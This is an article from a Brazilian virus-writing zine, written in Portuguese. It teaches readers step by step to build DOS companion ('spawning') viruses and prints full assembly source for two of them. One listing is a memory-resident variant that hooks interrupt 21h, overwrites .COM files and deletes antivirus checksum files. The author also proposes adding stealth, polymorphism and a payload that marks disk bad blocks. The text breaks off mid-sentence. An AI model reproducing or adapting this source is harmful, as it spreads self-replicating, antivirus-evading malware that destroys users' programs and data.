Virus Brasil6:(VIRBR06.222):01/04/2000 << Back To Virus Brasil6


────────────────────────────────────────────────────────────────────────── __ ___ ___ / __ . __ |\/| |__| | |__ |__) | |__| | | | | | |___ | \ | | | ────────────────────────────────────────────────────────────────────────── ────────────────────────────────────────── 22222 - Spawning virus, a materia ... ────────────────────────────────────────── Vamos ai, atendendo a pedidos, vamos fazer um virus por etapas! Ah? Como assim ? Pera ai, deixe eu explicar melhor... Foram recebidos alguns e-mails dizendo que os virus publicados no zine sao jogados, ou melhor, nao tem muitas explicacoes no fonte do mesmo , embora eu discorde viemente dessa afirmacao, pois a maio- ria dos nossos virus sao todos comentados, mas deixa di papo e vamos ao que interessa ... - Spawning virus : ─────────────────── Nosso primeiro virus de Spawning publicado, trata-se do virus Spectre do vecna (edicao 5 do VBr) e como dito acima, o virus foi me- io que jogado , desculpem-me , mas sou um cara meio que sem tempo, e nem sei como consigo mater a periodicidade dessa revista ... Mas deixa de papo e vamos tratar do assunto ... Em se tratando de virus, os desse tipo so' sao mais complexos que os virus de overwriting ( vide VBr nº5 ). Os virus de Spawning tem estrutura muito simples , podem ser de RUNtime infectando di- versos arquivos por vez ou TSR infectando mais arquivos que o ante- rior. O funcionamento basico de um virus de Spawning e' o seguinte : - Eles aproveitam o fato do DOS executar a seguinte sequencia de programas ( COM , EXE e BAT ) , sendo que um virus de Spawning nao "infecta" realmente o arquivo ele faz um "clone" com o mesmo nome mas de extensao diferente ( geralmente os virus de Spawning sao arquivos COM com atributo +H ( ocultos, para dificultar a deteccao ) e que chamam o programa EXE , sem que o usuario perceba a presenca do virus ). - Baseados na sequencia acima nos limitamos a fazer virus COM que infectem arquivos EXE ou BAT ou Arquivos EXE que infectem BAT, fare- mos o de maior dissiminacao e maior logica, ou seja, um arquivo COM que chame um arquivo EXE. - O diagrama basico dos virus desse tipo e' como mostrado abaixo : ________________ ________________ | Virus de | | Arquivo "dito" | O arquivo que foi "infectado" | Spawning .COM | | Infectado .EXE | continua como antes , nao re- |________________| |________________| cebe nenhum byte a mais , ou seja, o arquivo nao e' infectado porra nenhuma , e o virus nao passa de um programa que chama o arquivo que dizemos que infectamos ... Nao achei em nenhum texto sobre virus uma descricao que valha a pena sobre virus de Spawning, tem umas em ingles que em tese se re- sumen ao que o Derneval descreveu em uma das suas edicoes do Barata Eletrica, e que ... Vou colocar lenha na fogueira ... Vai uma his- torinha depois eu coloco a descricao dos virus companheiros do Derneval . Uma coisa esta certa , todos que fazem um trabalho merecem no minimo consideracao... Isso nao acontece com certeza aqui no Brasil, estava eu trocando mails com uma galerinha e fiquei sabendo dum li- vro dum tal de Bruno num sei o que, o nome do cara e' Bruno Diegoli Gargaglione, o cara quiz ganhar dinheiro com informacao, sou da ban- deira que a informacao deve ser gratuita, mas vai saber, e o que ma- is me deixou indignado e' que o kara nao fez nada pra tentar ganhar dinheiro e o pior e'que foram dois karas, colaborou no plagio mais marcante que conheco um tal de Pedro Castanheira de Paula, como dis- se o Derneval, ele nao pode falar os nomes por poder ser mal inter- pretado, eu quero que se phoda, nao tenho bens e nem familia que eu seja o chefe, entao phoda-se !!! Rolou o seguinte, recebi um mail do Vecna, me perguntando se eu havia lido o livro dos cara, ah, anota ai o livro se chama "Virus uma ameca Letal" e e'da editora Brasport(http://www.brasport.com.br) o livro custa em media 32 mango e beleza, deve sair uns 9 reais para faze-lo e olhe la' ... , bom deixa eu voltar ao que eu tava falando, dai o Vecna me falou que o autor havia feito ou forjado uma entre- vista com uma suposta hacker (mulher) e que numa das perguntas dos autores, em que o assunto era virus, a mina falou que ja' tinha fei- to virus e o caralho a 4, so' que paga uma nos virus que ela falou que fez? Chuta! Errou, nao e' nenhum goma nao, "ela disse" que tinha feito quase todos os virus de HLL que sabemos serem do Vecna , tudo bem que querer direitos sobre virus e' meio esquisito, mas fazer o que ? O virus nao era da mina, acho que a mina nem existe... Mas isso e' o de menos, e' so' um pouco da historia , manja um texto que o Derneval escreveu sobre virus uns tempos atras ? se nao vai na pagina do Barata Eletrica e procura la' , bom esse texto do cara esta' quase que 100% na integra no livro dos kara, muita manca- da, ai ja' e' phoda nao se deram nem ao trabalho de mudar algumas palavras, trabalhar assim e' facil ... Ja' vi o texto dele tambem em folders da TrendMicro Brasil e de verdade nao achei legal, uma coisa eu acho importante e' que o autor seja conhecido, como dizem la na faculdade, passar de semestre fa- zendo um Control C , Control V e' facil, o dificil e saber o que vo- ce copiou ... Acredite, a vida e' assim em qualquer lugar , tudo se copia ... Pelo menos diga de onde copiou ... no livro nao ha citacao alguma sobre referencias bibliograficas, ja' que seria uma confirma- cao do Plagio e se nao me engano, plagio e' crime, ou algo desse ti- po, mas ta valendo aqui e' brasil e eu ja'levei tanto bonde que ja' to esperando copiarem meus textos tambem !!! Afinal se ja'ta pronto e ta bom, porque nao falar que fui eu quem fez ????? Bando de Manja_Nada du caralho ... Ah, nem comprei o livro, dei uma lida dinamica numa saraiva !!! Beleza... desabafos `a parte, vamos continuar ... Ah, um trecho do livro que li e' igual ao dai de baixo do Derneval !!! ate' o con- teudo do parenteses ... Companheiros (Companion) que aderi chamar de Spawning ... Sao virus que nao infectam programas .exe. Ao inves disso criam um arquivo de extensao .com, cujo o atributo e' alterado para Hidden (escondido). Como o arquivo .Com e' executado antes do .exe, o virus entra na memoria e depois chama o programa . E' facil e dificil de detectar. Por nao alterar o programa, escapa a algumas formas de de- teccao, como a checagem do CRC. Teoricamente um comando DIR teria poder para descobri-lo: DIR /AH mostra todos os arquivos escondidos. Mas para se ter certeza, so' quando o BOOT e' feito com um disquete limpo de virus, ja' que nada impede de um virus Companion ser tambem Stealth (ou poli- morfico, ou multi-partite, tem virus para todos os gostos). Bom entao, vamos ao que interessa, ja' temos um pouco de conhe- cimento sobre esses "virus" de Spawning e vamos comecar a fazer o nosso virus... Nessa nossa primeira versao o virus sera de runtime e tem nome Goma.Spawning.Runtime ... Vamos comecar do basico, que linguagem vamos escrever o virus ? Sugiro Assembly, pois seila' gosto da linguagem e se voce curte vi- rus ja' esta mais que na hora de aprender ASM, mas fica a seu crite- rio, so' nao se esqueca que se formos infectar EXE's nosso virus tem que ser COM ... Mas pense um pouquinho, se o spectre que saiu no zine foi feito em pascal, como pode isso, simples meu filho, o virus e' um arquivo .EXE so' que tem sua extensao alterada para .COM, entendeu ? Espero que sim, se n╞o vai manda um mail ca duvida. Nosso virus ate' o momento que estou escrevendo ainda nao esta pronto sera em ASM e vou fazendo o mesmo ao longo da materia,belez ? Bom vamos no basico mesmo. Temos o cabecalho do virus, segue um cabecalho padrao que sempre utilizo em ASM codes... Virus segment byte public 'Virus' ; Inicio do codigo do virus assume cs:Virus ; So ele ta bom ... org 100h ; Inicio de arquivos COM ; Vai estudar mininu !!! Cabecalho feito, isso e' basico mas vamos ai , agora temos que colocar instrucoes nesse nosso programa que estamos iniciando , uma sugestao que me vem a cabeca, nao fiz fluxograma, intaum vai di hora mesmo... E' sair logo di cara na procura dos arquivos EXE, vamos ver como procederiamos para encontra-los... Bom, se quero procurar um arquivo eu digito DIR no prompt , bom vamos ver em ASM que instrucao da INT21h(DOS) que nos sera semelhan- te a esse comando, se voce ja' viu algo de virus em ASM , a resposta e muito simples , utilizaremos um FindFrist e depois um FindNext, funcoes 4e e 4f em hexa e respectivamente ... Nao vou colocar como se utiliza as funcoes , procure no NG (norton guides para assembly), do exemplo ja' da pra ter uma nocao, observe ... mov ah,4Eh ; Achar o 1º arquivo .EXE lea dx,[bp + Arq_EXE] ; int 21h ; ; jc Sai ; Nada encontrado, cai fora... Arq_EXE db '*.EXE',0 ; Mascara dos arquivos EXE. Bom achamos o primeiro arquivo agora temos que criar um arquivo COM com esse nome... Agora e' que phode tudo, vejo uma saida apenas ,que e' utilizar um Buffer para armazenar os dados que necessitamos como e' o caso do nome do arquivo... NNNNNNNN.EEE (nome.extensao) mov di,Offset Buffer_Exe ; Buffer para alocar o nome do ; Arquivo EXE mov si,158 ; Colocar o nome do arquivo no mov cx,12 ; Buffer rep movsb mov di,Offset Com_virus ; Buffer para alocar o nome do ; virus... mov si,158 ; Colocar o nome do arquivo no mov cx,12 ; Buffer do virus rep movsb cld ; Limpando a direcao da flag... mov di,Offset Com_virus ; Buffer ja' preenchido com nome mov al,'.' ; no byte 9 temos o ponto ... mov cx,9 ; repne scasb ; acha ele ! mov si,Offset Troca_com mov cx,3 ; EEE , extensao do arquivo que esta ; no buffer ... rep movsb ; Trocar o .EXE por .COM Buffer_EXE db 12 Dup(' '), 0 ; Buffer do nome do arquivo a infectar Com_virus db 12 Dup(' '), 0 ; Buffer do nome do arquivo Troca_com db "COM",0 ; Mascara de troca no buffer ... Ate' agora so' arrumamos o nome do arquivo EXE e ja' temos o nome para o virus no buffer Com_virus, agora temos que criar o ar- quivo, para tal utilizamos a funcao 3Ch do DOS , vide exemplo ... mov ah,3Ch ; Criar o arquivo mov dx,Offset Com_virus ; que tem o mesmo nome do EXE xor cx,cx int 21h jc Sai Agora ja' criamos o arquivo , seila' o nome dele , mas e' tem o mesmo nome que o EXE so que e' .COM ... Nessa parte ja' temos o ar- quivo do virus criado, so' falta colocar o virus nele ... E pense um pouco , nao e' uma tarefa das mais complicadas nao ... E' so dar um 40 hex na fita, e copiar o virus inteiro, como qualquer outro virus, copiamos tudo desde o inicio ate' o fim ... O basico de qualquer ti- po de infeccao, ate' de uma infecao Spawning ... Intaum sigura a onda ... mov ah,40h ; Escrever no arquivo COM mov cx,Tamanho_virus ; Tamanho do arquivo lea dx,[bp + Inicio_Virus] ; Comeco do virus int 21h ; Tamanho_Virus equ Fim_virus - Inicio_Virus ; A bom, o virus ja' ta la no arquivo. com agora vamos fecha-lo e colocar atributo de oculto e de somente leitura ... mov ah,3Eh ; Fechar o arquivo int 21h Temos que ter cuidado com os BX da vida , na hora de fechar o virus agente ve direitinho... Bom , ja' fechamos o arquivo , ja' podemos mudar seus atributos para +r +h ... mov ax,4300h ; Mudar os atributos inc al ; ah=43 , al= 01 mov dx,Offset Com_virus ; do virus mov cx,3 ; 3 = leitura + oculto int 21h Agora falta colocar o comando de infectar mais arquivos e o de executar o EXE... Vamos ai, primeiro vamos atras de como executar o arquivo EXE, pois do que nos adiantara' "infectar" uma porrada de arquivos se eles forem bugados , ou seja , nao executarem o arquivo "hospedeiro"... Um modo interessante de executar o arquivo EXE `a partir do virus, em um arquivo Runtime, como e' o caso do nosso virus ... Ah falei do modo e nao disse qual e' ou onde o encontrei , bom eu ralei a cuca por umas boas horas e nao chegava a lugar algum, tentei uma porrada de maneiras mas nada , ai me deu aquele golpe de mestre, porque nao pesquisar nos fontes de virus de Spawning para ver como eles fazem ... e ai que tem um mais loco que o outro e um dos menos complexos e mais curtos que encontrei foi no virus CloneWar , e com poucas modificacoes e' a rotina que segue no nosso virus para executar os nossos arquivos "host" (hospedeiros). A rotina de execucao segue abaixo... mov di,Offset auxiliar mov al,0 mov cx,12 repne scasb ; Achar o fim da string \0 mov al,0Dh ; <CR> stosb ; trocar o \0 por <CR> mov ax,12 ; Colocar no nome no comando sub ax,cx mov Linha_comando, al mov si,Offset Rodar_EXE ; Rodar o EXE int 2Eh ; Int 2Eh, e' reservada, serve ; para passar o comando para o ; COMMAND interpretar e executar Rodar_Exe: Linha_comando db 13 Auxiliar db 12 Dup(' '), 0 Agora vou atacar os outros arquivos, a funcao e' facil so temos que observar onde iremos coloca-la dentro do virus para que funcione corretamente ... A funcao e' o FindNext (4Fh) ... mov ah, 4fh ; Achar o proximo int 21h jmp infectar ; e infecta-lo... Bom acho que e' isso que tinhamos para criar o virus e velo fun- cionando... Vamos recapitular o que fizemos ate' agora, creio que ja esta tudo ai agora e' so' montar, mas nao custa nada recaptular ! - Achar o 1º Arquivo - Guardar o nome do mesmo - Infectar (Criar o virus de Spawning) - Fechar o virus - Executar o Arquivo "hospedeiro" - Procurar mais arquivos ... Ai , ta vendo e se ja' tivermos um virus para um arquivo , sem crisis , agente verifica ue', tenta abrir o virus , se nao der carry abriu , quer dizer que ja' esta infectado se nao vamos infectar di- novo... mov ax,3d00h ; Abrir o virus somente leitura mov dx,Offset Com_virus xor cx,cx int 21h jnc Procurar_proximo ; Abriu ta infectado ... Vamos pro ; proximo ... Bom, agora acho qui ja' ta tudo a pampa e e'so' fechar o virus! Algumas implementacoes serao incluidas, pois nao vou colocar o virus cru ai na rua tanto que essa versao qui esta indo e' de testes, vou ver o que posso fazer para implementa-lo e acho que ate' vai ro- lar uma criptografia na crianca, mas ai e' coisa pro Dark Lion que ficou de escrever uma materia sobre crypt, nao teria cabimento eu fazer o virus encriptado sem uma materia por tras tratando somente disso ai quem sabe sai uma versao 2 do virus ... Implementarei algumas rotinas que ja' sairam em outros numeros de VBr e por isso nao comentarei muito sobre elas ... Utilizaremos a rotina de mascara de *.EXE , o verificador de AV's residentes na memoria (VSafe e Tbav), e uma rotina que creio ser nova para os Goma virus, que e' a de apagar os arquivos de verificacao de Av's ... Mas isso e' coisa pra quando eu tiver tempo ... Beleza, agora vamos ver como o virus ficou ... ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;;;;;; Goma.Spawning.Runtime ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Nome do virus: Goma.Spawning ; Autor : nim_bus@hotmail.com ; Tipo : Runtime/Spawning , Exe infector, Sem rotina de ativacao. ; Tamanho : 257 bytes ; Av's : none ; Bug's : favor entrar em contato caso voce detecte algum ... ; Compilar/linkar com Tasm 3 (Tasm goma /m e Tlink goma /t) ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Virus segment byte public 'Virus' ; Inicio do codigo do virus assume cs:Virus,ds:Nothing ; So ele ta bom ... org 100h ; Inicio de arquivos COM ; Vai estudar mininu !!! ; Inicio: ; jmp Spawning ; Vamos ao que interessa ; ;;;;;;;;;;;;;;;; DATA ;;;;;;;;;;;;;;;;;; Com_virus db 12 Dup(' '), 0 ; Troca_Com db "COM",0 ; Pilha equ Fim + 1024 ; Mascara_exe db "* TDG .EXE",0 ; Buffer_Exe db 12 Dup(' '), 0 ; ; Assinatura db "Goma.Spawning.Runtime.Teste",0 ; ; Rodar_Exe: ; Linha_comando db 13 ; Auxiliar db 12 Dup(' '), 0 ; ;;;;;;;;;;;;;;;; DATA ;;;;;;;;;;;;;;;;;; ; Spawning: ; ; mov ah,4ah ; Organizando a memoria ... mov sp,Offset Pilha ; mov bx,sp ; add bx,15 ; mov cl,4 ; shr bx,cl ; int 21h ; ; mov di,Offset Auxiliar ; Alocando Buffers na memoria ... mov si,Offset Buffer_Exe ; mov cx,12 ; rep movsb ; ; ;;;;;;;;; Achar o 1º Arquivo ;;;;;;;;;;; mov dx,Offset Mascara_exe ; mov ah,4Eh ; int 21h ; ; jc Sair ; Se nao achou, sair fora ! ; ;;;;;;; Guardar nome do Arquivo ;;;;;;;; ; Guardar_nome: ; ; mov di,Offset Buffer_Exe ; mov si,158 ; mov cx,12 ; rep movsb ; ; mov di,Offset Com_virus ; mov si,158 ; mov cx,12 ; rep movsb ; ; cld ; mov di,Offset Com_virus ; mov al,'.' ; mov cx,9 ; repne scasb ; ; mov si,Offset Troca_Com ; mov cx,3 ; rep movsb ; ; ;;;;;;;;;;; Ja' Infectado ? ;;;;;;;;;;;; mov ax,3d00h ; mov dx,Offset Com_virus ; xor cx,cx ; int 21h ; jnc Proximo ; Ja', vamos procurar outro... ; ;;;;;;;;;;;;; Infectar ;;;;;;;;;;;;;;;;; mov ah,3ch ; Criar o virus ... mov dx,Offset Com_virus ; xor cx,cx ; int 21h ; ; jc Sair ; Nao deu saia ! ; xchg bx,ax ; mov ah,40h ; Escrever no virus mov cx,(Offset Fim - Offset Inicio) ; mov dx,Offset Inicio ; int 21h ; ; mov ah,3eh ; int 21h ; ; ;;;;;;;;;; Esconder o virus ;;;;;;;;;;;; mov ax,4300h ; inc al ; mov dx,Offset Com_virus ; mov cx,3 ; int 21h ; ; jmp Executar_arquivo ; Agora vamos executar o "host" ; ;;;;;;;;;;; Encontrar Mais ;;;;;;;;;;;;; Proximo: ; mov ah, 4fh ; int 21h ; jmp Guardar_nome ; Infectar o proximo arquivo ; ;;;;;;;;;; Executar Host ;;;;;;;;;;;;;;; Executar_arquivo: ; ; cld ; mov di,Offset Auxiliar ; mov al,0 ; mov cx,12 ; repne scasb ; ; mov al,0Dh ; stosb ; ; mov ax,12 ; sub ax,cx ; mov Linha_comando, al ; ; ;;;;;;;;;;;; Puxar o Carro ;;;;;;;;;;;;; Sair: ; mov si, Offset Rodar_Exe ; int 2Eh ; ; mov ax,4C00H ; Sair pro DOS int 21h ; ; ; Fim equ $ ; Fim do Virus ... ; Virus Ends ; End Inicio ; EOV ;;;;;;;;;;;;;;;;;;;;;; Goma.Spawning.Runtime ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; A nossa primeira versao do virus seguiu acima, infelizmente nao tive tempo para fazer os testes do virus, se tiver algum "bug" muito feio, favor dar um toque de resto e' so' . Agora vamos atacar de TSR e ver o que pega ... Antes uma pequena explicacao sobre virus de Terminate and Stay Resident... Sao os virus desse tipo que se expalham muito rapidamen- te pois existem inumeros meios de infeccao e dificilmente consegui- mos nos dar conta que o virus esta agindo,pois eles funcionam na sua maioria sem bugs e o usuario acaba percebendo que foi infectado quando ja' e' muito tarde , ou melhor, quando o virus da o ar de sua graca! Como nosso primeiro virus TSR com fontes publicados , nada de muito complexo foi apresentado , como no Goma_Boot que se utiliza da int13h para ficar residente ( por razoes obvias ) que e' um processo muito mais complicado. Creio que voce nao vai encontrar muita dificuldade em entender o nosso virus,mas se surgir alguma duvida, mande um mail que teremos o prazer de responder sua duvida, isso e' se soubermos responde-la :) Nosso Spawning TSR vai realizar as seguintes tarefas : - Capturar Int21 - Ficar residente (int27) aparece se o cara der um MEM :( - Observar o sistema, executaram algum arquivo ? renomearam ? copiaram ou algo desse tipo ? - Guardar o nome do arquivo que estao mexendo e ver se e' EXE - Criar o virus .COM e oculta-lo. - Continuar na boa na memoria esperando mais arquivos... Para capurarmos a int21 vamos direto `a funcao que nos permite realizar tal fato e a 35h e colocaremos nosso virus nela pela funcao 25h e ficaremos residentes da maneira classica que o DOS nos permite a int27... Capturando a int21 ... mov ah,35h ; Funcao de captura mov al,21h ; Interrupcao a ser capturada int 21h ; Agora vamos nos alocar na mesma ... mov ah,25h ; Colocar agente la' mov dx,offset infecta ; So' infectar fica como vetor ... int 21h A funcao 25h ainda deve receber um pouco de trampo em cima dela pois crua assim nem rola falta uns di,si e um bx na fita, na hora de fechar o virus agente coloca! Utilizamos essa funcao pois facilmente conseguimos rodar a antiga interrupcao sem maiores problemas ... Observando o sistema ... cmp ah,56h ; Tao renomeando ? je criar_com ; Tao sim, infecta ... ; cmp ah,3Dh ; Abrindo arquivo ? je criar_com ; Infecte ; cmp ah,3Eh ; Fechando ? je criar_com ; Infecte ; cmp ax,4B00h ; Funcao de carga ou execucao (ah=4Bh) ; (al=0) Carregou ou executou ? je criar_com ; Me parece que sim ... Vamos analizar agora esse arquivo que estamos vendo de infectar e ver se ele e'um EXE, pois todas essas funcoes podem ser designadas para qualquer arquivo, vamos dar uma procurada na extensao do arqui- vo, um mode que achei muito conveniente foi um que encontrei num vi- rus do cara que fez o Bw que para pegar as extensoes ele usa uma ro- tina que usa registradores e acha a minina na boa ... mais ou menos, pois acha 2 bytes, pra identificar e' 10 e para renomear o COM e' so brincar mais um pouquinho ... push ax, es,ds pop es ; es para ds mov di,dx ; Procurar onde ? mov al,'.' ; depois do ponto ... Nome.Extensao repne scasb ; push di ; Extensao ta aqui ! ; mov ax,'XE' ; ver se e' ponto .EX stosw ; stosb ; pop di,es,ax ; push ax,dx ; pushf ; push cs ; call executar ; Pra executar temos que chamar a int ; antiga ... ; mov ax,'OC' ; Colocar .CO na memoria stosw ; mov al,'M' ; Colocar o M, virou .COM stosb ; pop dx,ax ; Limpar a pilha ; jc executar ; Deu zica sai fora Falta pouco agora, e' so' criar o COM e esconde-lo ... mov ah,3ch ; Criar o .COM, DX ta co nome mov cx,3 ; 3 = leitura + oculto int 21h ; Colocar o virus no Spawning ... mov ah,40h ; Escrever no arquivo mov dx,si ; desde o comeco dele mov cx,offset buffer_int-inicio ; o virus inteiro xchg bx,ax ; push cs ; pop ds ; call executar ; Pra executar . Em relacao a ficar na boa na memoria, ja' estamos intaum desen- cana !!! Creio que e' so' isso, vamos fechar o virus e ver como ficou ! Tava fechando o virus e me deparei com alguns bugs na hora de testar o mesmo, vou explicar o que ocorreu - O virus de por ser TSR no windows ele nao corresponde `as expectativas, pois da erro na alocacao de memoria, no DOS tava tranquilo,intaum resolvi radicali- zar di vez , como to sem tempo (so'pra variar) fiz meio qui nas co- xas a ideia que tive, mas o importante e' a mesma ... Deixa eu colocar meu ponto de vista, se o virus nao ta rolando em windows, vamos detectar se estamos rodando no windows e entao para simplesmente nao sair fora e deixar o cara sem ser infectado, tive um plim de infectar o cara com algum virus que rode no Windows achei o virus logo di prima, um v irus que funciona em qualquer pla- taforma e o mais simples de todos , um de overwriting e qual foi o escolhido ? O goma.100, hehe ... Vamos ver como ficou sua cabeca, pra ver se voce entendeu ! O virus em DOS funciona como Spawning e se for arrastado para o Windows, leva consigo a parte para infectar o Windows, ja' uma vez o virus no windows , ele nao mais agira como Spawning , funcionara' como um virus de overwriting que ao voltar pro DOS vai funcionar co- mo Spawning , massa nao ? Nao sei sua opiniao, mas achei a ideia original e super interessante !!! Nunca tinha visto e nem imaginado, como ficar nervoso e bom para algumas coisas ... Vamos ver se a galera aprova e se pans agente coloca umas coisitas a mais na crianca, afinal o virus trabalha em 2 plataformas diferentes ... ──────────────────────────────────────────────────────────────────────────── __ __ / __ . __ __ __ __ ___ __ | | | | \ | | _ | | |_ | | |\| | |_ |__ |__| |__/ | |__| |__| | |__| | | | |__ ──────────────────────────────────────────────────────────────────────────── ;;;;;;;;;;;;;;;;;; Goma.Overwriting.Spawning.Tsr ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; ; Nome do virus: Goma.Overwriting.Spawning ; Autor : nim_bus@hotmail.com ; Tipo : Spawning/TSR em DOS e Overwriting em Windows ; Tamanho : 389 ; Av's : acho qui nenhum, nem corro mais atras ... ; Bug's : favor entrar em contato caso voce detecte algum ... ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;; Tamanho equ Buffer_Int-Inicio ; Tamanho do virus de Over ; Virus segment byte public 'Virus' ; Inicio do codigo do virus assume cs:virus, ds:virus, es:virus ; Vamos utilizar esses ... org 100h ; Inicio de arquivos COM ; Inicio: ; ; mov ah,30h ; Versao do SysOp ... int 21h ; ; cmp al,6 ; E' maior que a 6 ? ja Roda_win ; Entao ta rodando o W95/98 ou o NT ; jmp Real ; ; Marca db "Goma.Overwriting.Spawning",0 ; Assinatura do vírus ; Roda_win: ; ; mov dx,offset msg ; Esse programa nao roda no Windows !! mov ah,09h ; Me desculpe ... int 21h ; ; mov ah, 39h ; Criar um diretorio com nossa mov dx,offset dir ; marca, so para marcar presenca ! int 21h ; ; ;;;;;; Rotina de Apagar Av's Checks ;;;; ;;;;;;;;; Por Kamaileon ;;;;;;;;;;;;;;;; lea dx, [bp+CRC1] ; call KiLL ; lea dx, [bp+CRC2] ; call KiLL ; lea dx, [bp+CRC3] ; call KiLL ; lea dx, [bp+CRC4] ; call KiLL ; lea dx, [bp+CRC5] ; call KiLL ; lea dx, [bp+CRC6] ; call KiLL ; jmp real_1 ; Apagamos as criancas agora vamos ; infectar algum arquivo COM por ai CRC3 db 'SMARTCHK.CPS',0 ; ; KiLL: ; mov ax,4301h ; Mudando os atributos para normal mov cx,0 ; dos arquivos de check int 21h ; ; mov ah, 41h ; Apagando os Arquivos de Check int 21h ; ret ; ; CRC1 db 'ANTI-VIR.DAT',0 ; ; msg db 'Esse Programa nao roda sob plataforma Windows$' ; ; ; CRC4 db 'AVP.CRC',0 ; dir db '■ Goma ■',0 ; CRC5 db 'IVB.NTZ',0 ; ; Mascara db ').COM',0 ; ; Real_1: ; Inicio do Overwriter !!! push ds es ; ; call $ + 3 ; Chamando os ponteiros pop bp ; pois iremos utilizar para sub bp,offset $ - 1 ; procurar os arquivos ).COM ; ; mov ah,4eh ; Achar o primeiro arquivo inc byte ptr [bp + offset mascara] ; { ).COM + 1 } *.COM lea dx, [bp + mascara] ; Procurar o *.COM int 21h ; dec byte ptr [bp + offset mascara] ; Limpar a memória, ; Restaurando ).COM jmp abrir_1 ; Vamos abrir o arquivo ; CRC2 db 'CHKLIST.MS',0 ; ; Proximos_1: ; mov ah,4fh ; Achar os próximos arquivos int 21h ; ; jc sair_1 ; N╞o achou cai fora, se achou abra ; o arquivo Abrir_1: ; mov ax,3d02h ; Abrir para Ler/Gravar mov dx,80h+1eh ; 80h -> offset da DTA (* 2) ; 1eh -> nome int 21h ; Colocar o nome em dx ; mov bx,ax ; Salvar em bx ; mov cx,tamanho ; Colocar o tamanho do vírus em cx. mov dx,100h ; Copiar o vírus desde onde o vírus ; começa. mov ah,40h ; Escrever para o arquivo que foi int 21h ; salvo em bx. ; mov ah,3eh ; Fechar o arquivo int 21h ; ; jmp Proximos_1 ; E procurar mais ... ; CRC6 db 'CHKLIST.TAV',0 ; ; Sair_1: ; int 20h ; Fechar tudo e voltar pro DOS. ; Fim_1: ; Fim do Overwriter... ; Real: ; mov ah,35h ; Funcao de captura mov al,21h ; Interrupcao a ser capturada int 21h ; ; mov di,offset Buffer_Int ; Colocar a Int21 em buffer_int mov word ptr Buffer_Int,bx ; mov word ptr Buffer_Int+2,es; ; mov ah,25h ; mov dx,offset infectar ; So' o infectar fica como vetor ... int 21h ; ; mov dx,di ; Terminar e Ficar Residente int 27h ; ; Infectar: ; cmp ax,4b00h ; Funcao de carga ou execucao (ah=4Bh) ; (al=0) Carregou ou executou ? je criar_com ; Me parece que sim ... ; jmp executar ; Nao rolou nada, sai fora . ; Criar_com: ; push ax es ds ; pop es ; es para ds mov di,dx ; Procurar onde ? mov al,'.' ; depois do ponto (Nome.Extensao) repne scasb ; ; push di ; A extensao ta aqui ! mov ax,'XE' ; ver se e' ponto .EX (EX?) stosw ; stosb ; ; pop di es ax ; push ax dx ; pushf ; push cs ; call Executar ; Pra executar temos que chamar a int ; antiga ... ; mov ax,'OC' ; Colocar .CO na memoria stosw ; mov al,'M' ; Colocar o M, virou .COM stosb ; pop dx ax ; Limpar a pilha jc Executar ; Deu zica sai fora ; mov cx,3 ; Criar o virus com atributos mov ah,3ch ; +h e +r (oculto e read only) int 21h ; ; xchg bx,ax ; push cs ; pop ds ; mov cx,offset Buffer_Int-Inicio ; Tamanho do virus mov dx,si ; Desde o inicio mov ah,40h ; Escrever pro virus. ; Executar: ; db 0eah ; Jump para executar a Int... ; Buffer_Int: ; Buffer para armazenar a interrupcao ; Virus ends ; end Inicio ; ;;;;;;;;;;;;;;;;;; Goma.Overwriting.Spawning.Tsr ;;;;;;;;;;;;;;;;;;;;;;;;;;;;; O virus acima ate' deu tempo de dar umas testadas e me parece que funciona melhor que a encomenda, e' 100% fully work em DOS e no Windows tambem, nenhum bug foi encontrado na etapa de depuracao, ja' que nao fiz algoritmo do virus, dei uma depurada pra ver se tava tu- do certinho, agradecimentos ao MMI por tem me "ensinado" a utilizar um debugger de maneira eficiente e rapida, valeu irmao !!! Sem comentarios sobre o virus, a criacao com algumas coisas que copiei daqui e dali ( garantidos os direitos de quem eu copiei pela citacoes dos autores ), creio que se eu tivesse tempo , esse virus poderia virar uma perola na nossa cena brazuca, mas fazer o que as implementacoes deixo a cargo de voce leitor, so' vou sugerir o que eu faria ... Em se tratando de um virus residente, poderiamos ocultar o vi- rus de um comando dir utilizando tecnicas de Stealth ( assunto ainda nao abordado no nosso zine, mas creio ser de conhecimento da grande maioria dos nossos leitores ) embora tenhamos que trabalhar muito sobre alguma rotina existente, acho que seria ate' mais facil criar uma nossa... Essa seria 10 , pois o user iria digitar um dir /ah e nao ia encontrar o virus, pois estamos monitorando sua memoria e sa- bemos quando ele der o comando... Uma outra acao muito interessante e quase que indispensavel e' a encriptacao do virus, melhor ate' que isso , pois o anti-virus vai procurar uma marca da rotina de encriptacao e se o arquivo que a contiver tiver xxxx bytes, e' o virus ... Portanto , uma tecnica que seria muito grata e' a de polymorphismo que encriptaria o virus e a- dicionaria ao mesmo um numero aleatorio de bytes tendo assim o virus um tamanho nao previamente definido (ainda nao tratamos desse assun- to, mas aguardem, se pans eu mesmo faco essas alteracoes no virus a- cima e detalho todos os pacos ) ! Uma rotina de ativacao inovadora , estamos precisando, nem sei se voce reparou, mas nem mensagem eu estou colocando mais nos meus virus, to sem tempo ate de dar um Control C / Control V , no virus do DarkLion o Wave ( VBr nº5 ) ele apresenta uma rotina de pegar da- ta extraida do chernobyl e que como os leitores pedem, e' muito bom estarmos seguindo as "tendencias do mercado" e afinal o que e' bom deve ser seguido... Com essa nova tecnica de pegar a data fica mais cult nosso virus, e uma rotina de ativacao pode ser mais bem elabo- rada, sugiro a cricao de Bad Blocks no HD, muito boa essa, ainda nao descolei nenhum virus que faca isso ou a rotina propriamente dita, estou debugando o disktool do norton (Symantec Corporation) e vamos ver o que que da', ja' descobri que os bad blocks sao marcados na FAT, agora tenho que ver como e' a marca e como faco pra escrever nas duas ... Mas to indo devagar , mas acho que chego la'... Sem pressa afinal como dizia minha biza vo' (eh meu tive uma ate' meus 16 anos eu acho e 